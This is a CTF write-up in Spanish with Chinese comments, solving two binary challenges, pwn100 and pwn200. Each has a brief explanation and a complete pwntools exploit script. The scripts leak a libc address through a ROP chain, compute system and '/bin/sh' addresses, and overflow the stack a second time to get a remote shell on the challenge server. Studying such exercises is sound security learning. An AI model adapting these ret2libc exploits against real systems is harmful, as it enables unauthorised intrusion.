pwn100
Arrastre al análisis ida, principalmente de la siguiente manera:
Mi idea básica es usar el desbordamiento de pila, filtrar la dirección de la función de lectura a través de la función de venta, obtener la versión de libc correspondiente a través de la herramienta, regresar a la función principal, realizar un segundo desbordamiento y luego atacar
Primer desbordamiento:
Dado que el programa es un programa de 64 bits, y los primeros siete parámetros del programa de 64 bits se colocan en el registro, el primer parámetro se coloca en el registro rdi, por lo que primero debemos encontrar los gadgets correspondientes.
Esto es lo que vamos a usar
Luego, pasa la dirección obtenida de read, llama a la función put y regresa a la función principal.
Segundo desbordamiento:
Después de obtener la dirección de la función de lectura, obtenga la versión de libc correspondiente a través de la herramienta correspondiente, como LibcSearcher. No usé LibcSearcher aquí, lo encontré en el sitio web después de generar la dirección: https://libc.blukat.me/
Calcule la dirección base, system_addr y bin_sh_addr, y realice el segundo desbordamiento
exp es el siguiente:
from pwn import *
sh=remote("124.126.19.106",40355)
elf=ELF('./pwn100')
put_addr=elf.plt['puts']
read_got=elf.got['read']
main_addr=0x4006b8
poprdi=0x400763
payload1='a'*0x48+p64(poprdi)+p64(read_got)+p64(put_addr)+p64(main_addr)+'a'*(200-0x48-32)
#此处实现的效果就是:
#push read_got
#pop rdi
#call puts
#call main
#最后一部分是因为
sh.send(payload1)
sh.recvuntil("bye~\n")
read_addr=u64(sh.recv().split('\n')[0].ljust(8,'\x00'))
print hex(read_addr)
base=read_addr-0x0f7250
system_addr=base+0x045390
binsh_addr=base+0x18cd57
#read_offset=0x0f7250
#system_offset=0x045390
#bin_offset=0x18cd57
payload2='a'*0x48+p64(poprdi)+p64(binsh_addr)+p64(system_addr)+'a'*(200-0x48-24)
sh.sendline(payload2)
sh.interactive()
pwn200
Arrastrar a ida:
la idea básica es filtrar la dirección de la función de escritura a través de la función de escritura, luego encontrar la versión de libc correspondiente, regresar a la función principal y realizar un segundo desbordamiento
Primer desbordamiento:
La función de escritura aquí requiere tres parámetros
Por lo tanto, agregamos la dirección plt de escritura, la dirección plt principal, el primer parámetro de escritura (1), el segundo parámetro (dirección obtenida de escritura) y el tercer parámetro de escritura (longitud de salida) en la carga útil a su vez.
Segundo desbordamiento:
Igual que el anterior, busque la libc correspondiente, calcule la dirección base, la dirección del sistema y la dirección bin_sh para atacar
exp es el siguiente:
from pwn import *
#context.log_level='debug'
sh=remote("124.126.19.106",59657)
elf=ELF('./pwn200')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x080484be
payload='a'*(0x6c+0x4)
payload+=p32(write_plt)
payload+=p32(main_addr)
payload+=p32(1)
payload+=p32(write_got)
payload+=p32(4)
#这里设为输出四个字节
sh.sendlineafter("\n",payload)
write_addr=u32(sh.recv(4))
#接收四个字节
print hex(write_addr)
#libc=LibcSearcher('write',write_addr)
base=write_addr-0x0d43c0
system_addr=base+0x03a940
bin_addr=base+0x15902b
payload='a'*(0x6c+0x4)
payload+=p32(system_addr)
payload+='a'*0x4
payload+=p32(bin_addr)
sh.sendline(payload)
sh.interactive()